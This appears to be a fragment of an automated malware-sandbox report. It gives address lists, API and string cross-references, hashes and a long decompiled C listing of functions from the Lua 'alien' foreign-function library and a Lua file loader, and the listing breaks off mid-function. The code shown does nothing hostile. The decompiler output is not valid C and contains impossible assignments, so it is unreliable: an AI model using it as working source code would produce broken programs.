0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f3
0x00000000
0x005e2071
0x005e205e
0x005e1fb5
0x005e1fb8
0x005e1fba
0x005e1fc0
0x00000000
0x00000000
0x005e1fc2
0x00000000
0x005e1fc9
0x00000000
0x00000000
0x005e1fce
0x00000000
0x00000000
0x005e1fd9
0x00000000
0x00000000
0x005e1fd3
0x00000000
0x00000000
0x005e1fdd
0x005e1fdd
0x005e1fe0
0x005e1fe0
0x005e1fe7
0x005e1fea
0x005e1fed
0x005e1ff6
0x005e1ffb
0x005e1ffe
0x005e1ffe
0x005e2003
0x005e200c
0x005e2011
0x005e2011
0x005e2018
0x005e2023
0x005e2028
0x005e2028
0x005e202f
0x005e2034
0x005e2039
0x005e2039
0x00000000
0x005e202f

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

lua_gettop.LUA5.1(?), ref: 005E1F57
luaL_error.LUA5.1(?,alien: too many arguments (function %s),?), ref: 005E1F95
__alloca_probe_16.LIBCMT ref: 005E1FF6
__alloca_probe_16.LIBCMT ref: 005E200C
__alloca_probe_16.LIBCMT ref: 005E2023
__alloca_probe_16.LIBCMT ref: 005E2034
__alloca_probe_16.LIBCMT ref: 005E2049
lua_tonumber.LUA5.1(?,00000002), ref: 005E209C
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_tonumber.LUA5.1(?,00000002), ref: 005E20C9

Part of subcall function 005E4130: __alloca_probe_16.LIBCMT ref: 005E4160

lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Strings

alien: unknown return type (function %s), xrefs: 005E2760
alien: parameter %i is of unknown type (function %s), xrefs: 005E24DE
alien_callback, xrefs: 005E1F23
alien_function, xrefs: 005E1F06
alien function or callback expected, xrefs: 005E1F3B
anonymous, xrefs: 005E1F70, 005E1F75, 005E1F89, 005E1F8E, 005E24D7, 005E24DC, 005E275A, 005E275F
alien: too many arguments (function %s), xrefs: 005E1F8F
alien: too few arguments (function %s), xrefs: 005E1F76

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: __alloca_probe_16$lua_pushnumber.$lua_tonumber.$L_error.lua_getfield.lua_getmetatable.lua_gettop.lua_pushnil.lua_rawequal.lua_settop.lua_touserdata.
String ID: alien function or callback expected$alien: parameter %i is of unknown type (function %s)$alien: too few arguments (function %s)$alien: too many arguments (function %s)$alien: unknown return type (function %s)$alien_callback$alien_function$anonymous
API String ID: 2708324100-3306112838
Opcode ID: d0b6424dde53a483b907ead6fdd659d8a437769ba26619d33b2b288b5a02039b
Instruction ID: c123594ba0e2653b85a4ba4957a5f7ac6f5a362a376bae1ed03e286cd1ef9478
Opcode Fuzzy Hash: d0b6424dde53a483b907ead6fdd659d8a437769ba26619d33b2b288b5a02039b
Instruction Fuzzy Hash: 7912B2B1D0414AEBCB08EF96D98A9EEBFB8FF85300F144058F480A7346D7359A51CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 1000FD30, Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 170fileCOMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?), ref: 1000FD42
lua_pushlstring.LUA5.1(?,=stdin,00000006), ref: 1000FD76

Part of subcall function 10001930: luaS_newlstr.LUA5.1(?,?,?), ref: 1000195A

getc.MSVCRT(00000000), ref: 1000FD8E
getc.MSVCRT(?), ref: 1000FDA5
getc.MSVCRT(?), ref: 1000FDB9
getc.MSVCRT(?), ref: 1000FDCD
fclose.MSVCRT ref: 1000FDF4
fopen.MSVCRT ref: 1000FE00
lua_pushfstring.LUA5.1(?,@%s,?), ref: 1000FE32
fopen.MSVCRT ref: 1000FE3D
getc.MSVCRT(00000000), ref: 1000FE69
getc.MSVCRT(?), ref: 1000FE83
ungetc.MSVCRT ref: 1000FE9B
lua_tolstring.LUA5.1(?,000000FF,00000000), ref: 1000FEA6
lua_load.LUA5.1(?,1000FF30,?,00000000,?,000000FF,00000000), ref: 1000FEB7
fclose.MSVCRT ref: 1000FED6
lua_settop.LUA5.1(?,?), ref: 1000FEE9
lua_remove.LUA5.1(?,?), ref: 1000FF0E

Strings

@%s, xrefs: 1000FE2C
read, xrefs: 1000FEEF
open, xrefs: 1000FE4F
=stdin, xrefs: 1000FD70
reopen, xrefs: 1000FE12

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: getc$fclosefopen$S_newlstr.lua_gettop.lua_load.lua_pushfstring.lua_pushlstring.lua_remove.lua_settop.lua_tolstring.ungetc
String ID: =stdin$@%s$open$read$reopen
API String ID: 1269628050-2372923574
Opcode ID: fc4c290e80454898a543fe12c564c74f4d1636405d640bb03713f8169e5be4c9
Instruction ID: d4281e0863b9b40dc0e10b84b1f7c332c43d3e0b7381b2d391674a6731b728a1
Opcode Fuzzy Hash: fc4c290e80454898a543fe12c564c74f4d1636405d640bb03713f8169e5be4c9
Instruction Fuzzy Hash: 8D4157B190431167F210DB24ACC0EBF37A8EFC92E0F140A2DF95886256E735E94997E3

Uniqueness

Uniqueness Score: -1.00%

Function 005E2309, Relevance: 35.3, APIs: 17, Strings: 3, Instructions: 339
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E2309(void* __ebx, void* __edi, void* __esi, long long __fp0) {
				void* _t220;
				void* _t221;
				void* _t222;
				signed int _t225;
				char* _t226;
				signed int _t227;
				char* _t228;
				signed int _t239;
				void* _t247;
				void* _t249;
				intOrPtr* _t250;
				intOrPtr _t251;
				intOrPtr _t252;
				intOrPtr* _t262;
				void* _t272;
				signed int _t273;
				void* _t274;
				void* _t275;
				void* _t276;
				signed int _t277;
				intOrPtr _t279;
				void* _t280;
				intOrPtr _t281;
				void* _t282;
				long long _t294;

				L0:
				while(1) {
					L0:
					_t294 = __fp0;
					_t275 = __esi;
					_t272 = __edi;
					_t247 = __ebx;
					_t220 = E005E46A0(4);
					 *((intOrPtr*)(_t277 - 8)) = _t279;
					_t221 = E005E1110(_t220, __ebx, __esi, "alien_callback");
					_t280 = _t279 + 4;
					if(_t221 == 0) {
						_t222 = E005E1110(_t221, __ebx, __esi, "alien_function");
						_t281 = _t280 + 4;
						if(_t222 == 0) {
							_push("alien function or callback expected");
							_push(__ebx);
							_push(__esi);
							L005E3F14();
							_t250 =  *((intOrPtr*)(_t277 - 8));
							_t281 = _t281 + 0xc;
							 *_t250 = 0;
							 *((intOrPtr*)( *((intOrPtr*)(_t277 - 0xc)) + __edi)) = _t250;
						} else {
							_t262 =  *((intOrPtr*)(_t277 - 8));
							_t263 =  *((intOrPtr*)(_t277 - 0xc));
							 *_t262 =  *((intOrPtr*)(_t222 + 4));
							 *((intOrPtr*)( *((intOrPtr*)(_t277 - 0xc)) + __edi)) = _t262;
						}
					} else {
						__eax =  *__eax;
						__ecx =  *(__ebp - 8);
						__edx =  *(__ebp - 0xc);
						 *__ecx = __eax;
						 *(__edx + __edi) = __ecx;
					}
					while(1) {
						L36:
						 *((intOrPtr*)(_t277 - 0xc)) =  *((intOrPtr*)(_t277 - 0xc)) + 4;
						_t247 = _t247 + 1;
						_t116 = _t277 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t277 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t251 =  *((intOrPtr*)(_t277 - 0x14));
						_t263 =  *((intOrPtr*)(_t251 + 0x30));
						_t225 =  *( *((intOrPtr*)(_t277 - 0xc)) +  *((intOrPtr*)(_t251 + 0x30)));
						if(_t225 > 0x11) {
							L33:
							_t226 =  *(_t251 + 8);
							if(_t226 == 0) {
								_t226 = "anonymous";
							}
							_push(_t226);
							_push(_t247);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t275);
							L005E3F26();
							_t281 = _t281 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t225 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t244 = E005E46A0(4);
								 *((intOrPtr*)(_t277 - 8)) = _t281;
								_push(_t247);
								_push(_t275);
								L005E3F68();
								_t281 = _t281 + 8;
								_t245 = E005E45C0(_t244, _t294);
								_t261 =  *((intOrPtr*)(_t277 - 8));
								_t263 =  *((intOrPtr*)(_t277 - 0xc));
								 *_t261 = _t245;
								 *((intOrPtr*)( *((intOrPtr*)(_t277 - 0xc)) + _t272)) = _t261;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								L11:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__ecx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__ecx + __edi) = __eax;
								goto L36;
							case 8:
								L12:
								8 = E005E4686(8);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__edx + __edi) = __eax;
								goto L36;
							case 9:
								L9:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								 *__ecx = __al;
								__eax =  *(__ebp - 0xc);
								__esp = __esp + 8;
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 0xa:
								L10:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __al;
								__esp = __esp + 8;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 0xb:
								L13:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								_push(__ebx);
								_push(__esi);
								if(__eax == 0) {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										__esp = __esp + 0xc;
										 *(__ecx + __edi) = __eax;
									} else {
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										 *(__ecx + __edi) = __eax;
									}
								} else {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
									} else {
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										 *(__ecx + __edi) = __eax;
									}
								}
								goto L36;
							case 0xc:
								L24:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F4A();
								__esp = __esp + 8;
								if(__eax != 0) {
									_push(__ebx);
									_push(__esi);
									L005E3F56();
									__esp = __esp + 8;
									if(__eax == 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
									} else {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										 *(__eax + __edi) = __ecx;
									}
								} else {
									__ecx =  *(__ebp - 8);
									 *__ecx = __eax;
									__eax =  *(__ebp - 0xc);
									 *(__eax + __edi) = __ecx;
								}
								goto L36;
							case 0xd:
								L29:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x24);
								 *( *(__ebp - 0x24)) = __eax;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x24);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x24) = __ecx;
								goto L36;
							case 0xe:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__ecx =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__esp = __esp + 8;
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__eax =  *(__ebp - 0x1c);
								 *( *(__ebp - 0x28)) =  *(__ebp - 0x1c);
								__eax = 4;
								asm("fldcw word [ebp-0xe]");
								__eax = E005E46A0(4);
								__ecx =  *(__ebp - 0x28);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x28) = __ecx;
								goto L36;
							case 0xf:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x2c);
								 *( *(__ebp - 0x2c)) = __al;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x2c);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 1;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x2c) = __ecx;
								goto L36;
							case 0x10:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 0x40);
								 *( *(__ebp - 0x40)) = __fp0;
								__esp = __esp + 8;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x40);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 8;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x40) = __ecx;
								goto L36;
							case 0x11:
								goto L0;
						}
					}
					L37:
					_t252 =  *((intOrPtr*)(_t277 - 0x14));
					 *((intOrPtr*)(_t277 - 0x3c)) = 0;
					_t227 =  *(_t252 + 0xc);
					if(_t227 > 0xc) {
						L58:
						_t228 =  *(_t252 + 8);
						if(_t228 == 0) {
							_t228 = "anonymous";
						}
						_push(_t228);
						_push("alien: unknown return type (function %s)");
						_push(_t275);
						L005E3F26();
						L61:
						_t282 = _t281 + 0xc;
						L62:
						 *((intOrPtr*)(_t277 - 0x24)) =  *((intOrPtr*)(_t277 - 0x24)) +  ~( *(_t277 - 0x48)) * 4;
						 *((intOrPtr*)(_t277 - 0x2c)) =  *((intOrPtr*)(_t277 - 0x2c)) -  *((intOrPtr*)(_t277 - 0x30));
						_t273 = 0;
						 *((intOrPtr*)(_t277 - 0x28)) =  *((intOrPtr*)(_t277 - 0x28)) +  ~( *(_t277 - 0x38)) * 4;
						if( *((intOrPtr*)(_t277 - 0x44)) <= 0) {
							L72:
							_pop(_t274);
							_pop(_t276);
							_pop(_t249);
							return E005E45A4( *((intOrPtr*)(_t277 - 0x30)) +  *((intOrPtr*)(_t277 - 0x34)) +  *(_t277 - 0x38) +  *(_t277 - 0x48) + 1, _t249,  *(_t277 - 4) ^ _t277,  *(_t277 - 0x48), _t274, _t276);
						} else {
							goto L63;
						}
						do {
							L63:
							_t239 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t277 - 0x14)) + 0x30)) + _t273 * 4)) + 0xfffffff3;
							if(_t239 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t239 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t285 = _t282 - 8;
									 *_t285 = _t294;
									_push(_t275);
									L005E3F80();
									_t282 = _t285 + 0xc;
									 *((intOrPtr*)(_t277 - 0x24)) =  *((intOrPtr*)(_t277 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  *(__ebp - 0x2c) + 1;
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									__ebx = __ebx + 8;
									goto L71;
							}
							L71:
							_t273 = _t273 + 1;
						} while (_t273 <  *((intOrPtr*)(_t277 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t227 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t247, _t263, _t272, _t294,  *((intOrPtr*)(_t277 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t277 - 0x14)) + 4)), 0, _t272);
							_push(_t275);
							L005E3F74();
							_t282 = _t281 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
